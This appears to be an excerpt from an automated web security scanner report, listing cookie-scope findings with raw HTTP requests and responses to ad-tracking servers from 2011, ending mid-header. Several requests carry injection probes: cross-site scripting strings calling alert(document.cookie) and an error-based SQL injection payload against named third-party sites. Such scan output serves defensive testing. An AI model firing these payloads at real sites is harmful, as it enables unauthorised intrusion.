no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www67 Content-Length: 0 Content-Type: text/plain
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; Expires=Sat, 23 Jan 2016 15:58:35 GMT; Domain=.traderonline.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/detraderonline/1/H.17/s93964351669419?AQB=1&ndh=1&t=24/0/2011%209%3A59%3A11%201%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.traderonline.com/x22ec89d%253Cscript%253Ealert%28document.cookie%29%253C/script%253E93a08fbf703&r=http%3A//burp/show/5&cc=USD&pageType=errorPage&events=event1&c1=Information%20fourofour%20TraderOnline.com%2C%20Trader%20Magazines%2C%20and%20TraderOnline%20family%20sites.%20%u2013%20TraderOnline.com&v1=Information%20fourofour%20TraderOnline.com%2C%20Trader%20Magazines%2C%20and%20TraderOnline%20family%20sites.%20%u2013%20TraderOnline.com&c2=Data%20Not%20Available&v2=Data%20Not%20Available&c3=Data%20Not%20Available&v3=Data%20Not%20Available&c4=Data%20Not%20Available&v4=Data%20Not%20Available&c7=New&v7=New&c8=First%20Visit&v8=First%20Visit&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=950&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.traderonline.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/x22ec89d%3Cscript%3Ealert(document.cookie)%3C/script%3E93a08fbf703 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8009oaoAAx1V; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B; s_pers=%20s_nr%3D1295884751287%7C1298476751287%3B%20s_lv%3D1295884751289%7C1390492751289%3B%20s_lv_s%3DFirst%2520Visit%7C1295886551289%3B
Response
HTTP/1.1 302 Found Date: Mon, 24 Jan 2011 15:58:35 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; Expires=Sat, 23 Jan 2016 15:58:35 GMT; Domain=.traderonline.com; Path=/ Location: http://metrics.traderonline.com/b/ss/detraderonline/1/H.17/s93964351669419?AQB=1&pccr=true&vidn=269ED0D58501209E-6000010F000341E3&&ndh=1&t=24/0/2011%209%3A59%3A11%201%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.traderonline.com/x22ec89d%253Cscript%253Ealert%28document.cookie%29%253C/script%253E93a08fbf703&r=http%3A//burp/show/5&cc=USD&pageType=errorPage&events=event1&c1=Information%20fourofour%20TraderOnline.com%2C%20Trader%20Magazines%2C%20and%20TraderOnline%20family%20sites.%20%u2013%20TraderOnline.com&v1=Information%20fourofour%20TraderOnline.com%2C%20Trader%20Magazines%2C%20and%20TraderOnline%20family%20sites.%20%u2013%20TraderOnline.com&c2=Data%20Not%20Available&v2=Data%20Not%20Available&c3=Data%20Not%20Available&v3=Data%20Not%20Available&c4=Data%20Not%20Available&v4=Data%20Not%20Available&c7=New&v7=New&c8=First%20Visit&v8=First%20Visit&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=950&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Sun, 23 Jan 2011 15:58:35 GMT Last-Modified: Tue, 25 Jan 2011 15:58:35 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www120 Content-Length: 0 Content-Type: text/plain
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2/B3DM/DLX/1@x96 HTTP/1.1 Host: mig.nexac.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/DLX/11596989115@x92? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: na_tc=Y
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 01:35:47 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: OAX=rcHW800+KPMAAfCd; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.nexac.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 1391 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e3f45525d5f4f58455e445a4a423660;path=/
<script> function cookie_check(ifd,ife){ var s=ife.indexOf(ifd); if(s==-1)return ""; s+=ifd.length; var e=ife.indexOf(";",s); if(e==-1)e=ife.length; return ife.substring(s,e); }
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /RealMedia/ads/adstream_nx.ads/TRACK_Radioshack/Retargeting_Conversionpage_Nonsecure@Bottom3 HTTP/1.1 Host: network.realmedia.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800pDrcAAovp; RMFL=011PcqlQU10EfJ|U10Eo1; NXCLICK2=011PcqlaNX_TRACK_Nutrisystem/Retarget_Landingpage_Nonsecure!y!B3!EfJ!pUFr
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 01:35:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Set-Cookie: RMFL=011PhXoxU10EfJ|U10Eo1|U10166E; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.realmedia.com Set-Cookie: NXCLICK2=011PhXoxNX_TRACK_Radioshack/Retargeting_Conversionpage_Nonsecure!y!B3!166E!1MSss; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.realmedia.com Location: http://imagen01.247realmedia.com/RealMedia/ads/Creatives/USNetwork/BCN2010110276_000_RadioShack/1x1trans.gif Content-Length: 380 Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_o1efm_qppm_iuuq=ffffffff09499e0e45525d5f4f58455e445a4a423660;expires=Tue, 25-Jan-2011 01:36:47 GMT;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://imagen01.247realmedia.com/RealMedia/ads/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news/story HTTP/1.1 Host: news.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /nwshp HTTP/1.1 Host: news.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Set-Cookie: NID=43=E781T2uXYKpJesTpQSj-QmWvpOJw0eAB35y5tD9Y9YMJOnjI_daOzuxSBWDXOMdoEL2Vftts46kKWniW_IBOj-_IL66C68vTFDtYjDMwKwZMxerdWsyuLeaEUJRnxDP1;Domain=.google.com;Path=/;Expires=Tue, 26-Jul-2011 22:43:04 GMT;HttpOnly Date: Mon, 24 Jan 2011 22:43:04 GMT Expires: Mon, 24 Jan 2011 22:43:04 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="X-UA-Compatible" content="IE=8"> <meta http-equiv="Content-Type" content="text/h ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /photo/1059414821042998563QWNlxQ/x22 HTTP/1.1 Host: news.webshots.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/adstream_mjx.ads/www.soundingsonline.com/index.php/1682116568@Top,Middle,Right,Right1,x01,x02,x03,x04? HTTP/1.1 Accept: */* Referer: http://www.soundingsonline.com/index.php?option=com_content&view=category&layout=blog&id='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&Itemid=111 Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: oasc05139.247realmedia.com Proxy-Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:33:04 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: OAX=rcHW800+NmAABp5o; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.247realmedia.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4263 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1806063784/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dynamic_btx/118_12345 HTTP/1.1 Host: pc3.yumenetworks.com Proxy-Connection: keep-alive Referer: http://www.autocheck.com/?WT.mc_id=1824&siteID=182471a71%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6dab831a574 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:19:11 GMT Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache YmBtHdr: @BT118_1_0 Set-Cookie: ymbt=0rO0ABXcQAAAAAQAAAHYAAARgAAAAAA**; Domain=.yumenetworks.com; Expires=Sat, 26-Mar-2011 02:19:11 GMT; Path=/ Content-Type: image/gif Content-Length: 43 P3P: policyref="http://ads.yumenetworks.com/P3P/PolicyReferences.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /home HTTP/1.1 Host: picasaweb.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /lh/view HTTP/1.1 Host: picasaweb.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Expires: Mon, 24 Jan 2011 16:02:05 GMT Date: Mon, 24 Jan 2011 16:02:05 GMT Cache-Control: private, max-age=0, must-revalidate Set-Cookie: _rtok=MJQEmi1qTlzO; Path=/; HttpOnly Set-Cookie: S=photos_html=glkstgCRHSUXAYU8LXZieg; Domain=.google.com; Path=/; HttpOnly Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"></meta> <title>404 NOT_FOUND</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ping.js?url=http%3A%2F%2Ftweetmeme.com%2F&id=5c5c650d27&u=mozilla%2F5.0%20(windows%3B%20u%3B%20windows%20nt%206.1%3B%20en-us)%20applewebkit%2F534.10%20(khtml%2C%20like%20gecko)%20chrome%2F8.0.552.237%20safari%2F534.10&x=1295907703307&c=0&t=0&v=0 HTTP/1.1 Host: ping.crowdscience.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:21:01 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7i mod_wsgi/2.7 Python/2.5.2 Set-Cookie: __csv=286f8b371579253c; Domain=.crowdscience.com; expires=Sun, 24 Apr 2011 22:21:01; Path=/ Content-Length: 867 P3P: CP="NOI DSP COR NID DEVa PSAi OUR STP OTC",policyref="/w3c/p3p.xml" Connection: close Content-Type: text/plain
document.cookie = '__cst=c361a3372a99df5c;path=/'; document.cookie = '__csv=286f8b371579253c;path=/;expires=' + new Date(new Date().getTime() + 7776000000).toGMTString(); if ('2d2e35941c7237e0'!='1') ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /H05525/b3/0/3/360/1/0/12DBAF7B7D9/0/0/00000000/722681440.gif?D=DM_LOC%3Dhttp%3A%2F%2Fwww.autocheck.com%2F%253FWT.mc_id%253D1824%2526siteID%253D182471a71%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C%2Fscript%25253E6dab831a574%2526type%253D%2526make%253D%2526model%253D%2526sid%253DExperian%2526Year%253D%2526section%253D%2526content%253D%26DM_REF%3Dhttp%3A%2F%2Fburp%2Fshow%2F54%26DM_EOM%3D1 HTTP/1.1 Host: pix01.revsci.net Proxy-Connection: keep-alive Referer: http://www.autocheck.com/?WT.mc_id=1824&siteID=182471a71%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6dab831a574 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBE4gHgVlDEdBGccKRt+NPtq9Q2XTJceL+0HupXmjnWmzuhIGM6lfPp5ixKDcMr+Ii79Fc2vPW5duJgxxcN/oeczKDujEEoSBEvNoIhhASZpi002JL7KxepMxQs8stwxfU/GVEKQUZuR2gwNzE3rczaCMMDHXqzRgNXmXGXpQ29HMiCR3LFNRLO+zyc+soAgVeC3wFxfFz0TNfRqLbav7YZmm5PUmTeRjv+yY6eXNNBmRhlghJSw==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d62d3e4&0&&4d3cf159&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPFfEOlLgIYlVNWKZU1sWJH1I8V0sD586OtYWpJIZ5At588pHu0XtJj0vEjmwH5W+0fVgtXKwemg4X+X+ZcSFKrAeiVdwmYRcxYnZGANiwodqN5uhpI2RG7gf2tidEme72Dc6LcL4puWziUNiMSVj9Rlec2UMv/RY8CSw1fUUBq299ft5vcz4/QVANk+xUmIlgaIoFCnYcBk/VuIcXautuNt5oFCJuLKVA=; udm_0=MLvv8iEJPj5n5t4Lxl8gqM+1+kVoa5JUtjw8RivzoP+6DdtaaJZxHI3717ZFmK2ZlsyUeOuq1XEViaeooyTfZUM3DFRjLhZPKW5XYmxNuO+4+rYyDseF5YobgFQCn2cS7aRvMTMvoplsJb6dvG7t3PCR6Rou8l75exTjbBjgseL+XAqHsouMbHMryYHF1wxXZE50wIytk8Q3eKmmpA0exyO99w7z20ofCv9JlxWMNHyralUwaaBqnHaNcF8NLXsy9AB+zs+UcyCKXdEjj3O1C6WOtNb3pH3/jow9FynWUeWw7QSn0aSkoenRcQhxCe63j6D1DByzYPmvyTIGtMnbOmjDploVPBPbrLNCKcbesh+PrRvMnSVXdy05AL22vNX0q4JCOba0b9bOGV8NtCTL9L3/TUIPkLc+apBjqNighdFBh36gkaxuC1c/An57s+87tT5f8png7zjrKl9PcTk3l4Y5RLgIy3GmWmLXFI93zstHlqsJgWd5QlwPCdT76camu9cemH/XJhelupJXy/sB5OGGoHHObI87INpeX0bS1gX3MOhN2NKt5hwZF/B8uoP85q7F0xxRf3ipYj4GZGV7k1/y4mq698jVyTdCsDE0i9Y7Q66bh3+Z4MfhR6lSoSmVAKVIUiWWW4G3/wTqrejoUQCYoQKd4VwE/i4ToD9z5SSr4tny7VPLcN0fTcmjjYo377nxMIFMKDCkOo0XGMGHpNIudWENyCdQ0DrCiXIGV9nuUw8Q3qmUsYwDn/aRc4ciHT0ANjzZVwN53mjStBIjn/S2XdwK13xeoP8pXNfmKCYFrf8pU+0/Yn7gtaIl0ujBFU2ORgQQ2P/Jaf/WlLPAqyPBvwp/X9958EnXYBM2+sm/tx7X2Czc168Jw9LTEmh/A3Gw0ZpetH5orwSKrfqcnwOV1sbSoQxyd1GbYRlqFXI=; rsi_us_1000000=pUMd5E+jOAQU7cSkfv4IPX6eN3YupMgZuJrysr+11fWxVfkSpo0os1NAOiV7o4tu+/m94QEhZP0cXHl+jltOoG8kdZMnfyxlxePpC8HjcSIzweBxL1RaZuXGxOcyb5DPQUA0BNBxiAzJTnhtaoovtsej7KfbOzVqwWQAwu7pzeuJhMTpgYxQRIFodt609Kmvmi2voHMjDyFGDAqmh5BUBJptcRLuM3k8wyDEsdR/JQyXnpG2EyjMCdDhtxN1n9dfozURJG0GnWUJc5NA+/6WswcH9TEm2KF6lrp/i83TnEha22I6hWy0Mw6iH9nKJUHAcAfi1n4sxzN+Pn9/0I6Gab3MqiEskA2X5tJjHle5QxPNxrbdR5NxhevdEnWJMXTtgi3Wk4Vyr3JczLTywQ8uIu54kw/PS5a+wHiP0EsLne0HG01orKurPeZuidEJHhW75HbZAz22cuz2r1qI9Wehlyio6Qe9nCbVIJBPqoE8QUfCmCr2oj/cmdY9+2DKExi05VBzMutgzcVv8HNLlMERiEATkQqa9g7LXFFcXWMSoYyxfVWbcDgT8wm3j6l2TNr+GIAICRcg0nlAPQJuT7ZS6Ud6Hvor2dTZmWdTeQ2rPlZ1uOjGmikwDw2GrCuh5m/iT/l+E9wG5IRy/ydqh2a+9q3aejykJqymBN3BZLPuGhyTP4PdVSKYR0ITgGAvzWqIFl0LhrVjtCokLQizF1ZTiim4fIn6AiSa18OoqxGaUE/gTsbe45JpJKYly9hnej6gFG9Fq48mQGoXqgy+UyJtehg4yPWLjyUavRi/ZGAot5+iNQeoldbJUCFlbi8H3At4n1S9s4u0e6pTI95ZorowqQUo+fSV3g2N9p5zeOwI+cmdoEsnV/XTzldmltapU6Rg8c2baKjX6LcjSFhyX7bP76iTEQSlpNsccyN5AYX+AhEu6NRB3v3neOIiKC7cJP1qyTPU8bf6+hakxdkBqBCD
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rtc_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPFekOFbwIUllNab/ezT+71tZc3ltU2c6Ot/evo4ZtovTXUVHSclqCxKr7OS2Tzwu4/ImKEN8BiOobyb3WUFAnv+oHe6qUcrWMruZg9+u2gfzq3cXL5QuB06QtfVNA8x1zeoA1Q4OW3y0hdHSsQb0Nq4ylOyx51VXuI7xeDLFEtKloAjPKQGJsHD2wp8shP4CizzpdqkyYnPP/VZgm2vL/HVZjLwI2vTVOuAtw0dbl8Nx7cbw9B+miy5yfK; Domain=.revsci.net; Expires=Wed, 25-Jan-2012 02:19:11 GMT; Path=/ Set-Cookie: NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; Domain=.revsci.net; Expires=Tue, 22-Feb-2011 02:19:11 GMT; Path=/ Set-Cookie: rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F1rgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S2/PWs9VoKGAMaffRXZIcKsIfI0BwBDjCjZpjEC71nxlYizCu6A+lfGsvTCpuc5/BZCd8dAQtpSxRHzMi6uGYXwHdJ/d8IQUDaybNyCnRbnxo06dBQo6MP+y2flHvCWwRN8R9QUy/ewmRfIY0CQ7gY2Fz5GIodV599nhNMkQuVM5gmbrYq7x5I21/KffdTJpt7T0ZTSX1eK3qBIo7MivlBA41pJ1L7pGL/iJtvadgZSAkPC3F; Domain=.revsci.net; Expires=Wed, 25-Jan-2012 02:19:11 GMT; Path=/ X-Proc-ms: 45 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: image/gif Content-Length: 43 Date: Tue, 25 Jan 2011 02:19:10 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /D08734/a1/0/3/0.js?D=DM_LOC%3Dhttp%253A%252F%252Fna.com%253Fnada%253D%2526naid%253D%2526namp%253D HTTP/1.1 Host: pix04.revsci.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; udm_0=MLvv8iEJPj5n5t4Ltt9EX/C7xZnl5hjzDNVGFWEzjcOGPSjwQeqblsz4NQqc0gDPHJGwQqP04Gl/fjd0NwxKE04RBfv6QDvz32B6fwU5Fu34L666BG4fi9tTCQB7HzLjsLqPpe/ZNv6p6Wv6E4ZBUtNIPMZXaK38wui6tKY7SLyOhMMPSJKHQjAq7iVOFpHQSiIVffpJbnNSOVw3KAaxc6ZIuNW0TwoNno2N7hLN8h5r0ETnNH1Wumo6MsJMHy6rUG0M0AVwc0C8t2sgjHPROMA7VMvEXCMRiwynjB1TRk/+PVfpEc1tHyJeAqnj0jneawiO5aIsZWU/7yPlu5ciMTLE8+z5XpS+HdjIJZiKw1Jd4rWuHlcWhdMmo0w4BgvLrRDX5hKPVKrZaofBbsFrLK+YUHM4qv2l8zWxk2A0eFUUwPQGjp4RSLamucNFvJcwuLIA/C4N0vTadc1XEiqHWN9m59nxOVRc25CL28bCg9D7XIK8eQGl39rH79pq83w2Y7yTdp2vq/JQyywuUIosSaihXjhZsv5zVjsGq0ous0noNBGVBibouZ6BUldR6RYnFDGvwwEsGVJSDLRRNx/p1i5vF0c5w+tOkuGmoQgKCEah+BLI3eY4IHERUjQHegjRiYhL18Bf95kytJzUyG1CQvSeHJOczvbE8rlrMExy1YkvWXbw0EkxMvneLlRouFMzUVJFJTrqMPWcsk2yKZjYh/ijo2o/CmAOTbQ5kX5IdSZG+Myf0KmUsYyDn3ob6Bqd0BC6gho3A+TkpwR3LAXJV+jj4sbj58smKFZBQAZVL97B2AHIadTbzX24S5gt3hJk6ySr2S1M1lWOdAtajdXelKAOgeKm2wNtK/Wy58LDt1SOkNjbuNw5upFoMJrUEnAHA3Gw0Zpesn5sqwSKrfo8m1ARoDsiZ17yITyYdiQgFv4=; rsi_us_1000000=pUMd5U+DfxIU7WxyqNQb+zH1s17HozKcX9zb1nGBmx1V/jUVnfeldtQjURXj62Ij5rwYZ9wJ1NqZFDtPnA/ai2kzB4ZWck4RlBED9tHPfALbjG5/h+EbQvknzyyRcrItMoJol6PXNTl/OKv1HLyRjqxPdUMPuhTeFrZcyO8gAu7DnkKRicwv26rJbnB2YkIMVwnyQe25v0bF8cRbuIDVa248qh0eMMOfyR/FXEsxPsbCZDweM7dbepZIWR3dtd+dVimkWAYQoZALNR+V/guGHuxfyVd2gEOLAGwOQllMhFXpg30hoPoVfJhXFUqiQNm3BzjM0qe3oej3+PsACj2CU61hVKeF2HNY9k2ol1ixdYUyhZXc+csbq2QEngScG8Fyk28f3CtFfcgafRot2T5UJdsjwU///O8q5QLpNWARM1w/lHLi6xhWyV7RPg2RTuUehxIA5X1CDzhakTy4gchBqLYpsImsUgwLdediq5xOCZUg5jzSYFUo7zRvJUElYuphp8OzQ1AQryrdIBXfr2Q7k0pOTQtw0Sya6irERSdIDFN9xHQEpu/KZi/VfFED67ADmmemfMMNlbnugnmTr6LTfKuLWuw4QB8ULOl4ICmXLj6pBD/5tNcSMJWTFHOixo4IK0vkutnkoKUs/dGDMVzfYfICMrfqYm5ooaMqvnmJ2DAzQJTYRF4vDA6NPTQcbJifGlogyZA5q8lXRY25R+s5rcSx1LACJzBJtIrHnrtl8SXouSQzf3kTOxNhVDItJBmmUFdwuBsLv9W3DOHJYpGPu7/HeVRht67vcq4vWMq3VbvT2WCZWCAVmSFQIlAkZlXJXT993g==; rsi_segs_1000000=pUPFfcnGLgIUllNabySXY2IY55gHIZ1QyKSeDed+9JzIG0W8+AvdYSYAvxOUI2VbrccphmHkGcSot3nYvefOg9C/MS0+qcd1BcnTcNaYEkF0xialv9bj0hdb5U5jkD/4MjdaHkbSa+M/fe/FnBrMkcx0mUp01NJdnnpXlDRY2lXJS+GRf809xmH4pSnkubT29s7GCNDtfCsSqFFM2AiI79rbsE4FMdY=; rtc_0=MLuBE4gHgVlDEdBGccKRt+NPtq9Q2XTJceL+0HupXmjnWmzuhIGM6lfPp5ixKDcMr+Ii79Fc2vPW5duJgxxcN/oeczKDujEEoSBEvNoIhhASZpi002JL7KxepMxQs8stwxfU/GVEKQUZuR2gwNzE3rczaCMMDHXqzRgNXmXGXpQ29HMiCR3LFNRLO+zyc+soAgVeC3wFxfFz0TNfRqLbav7YZmm5PUmTeRjv+yY6eXNNBmRhlghJSw==; 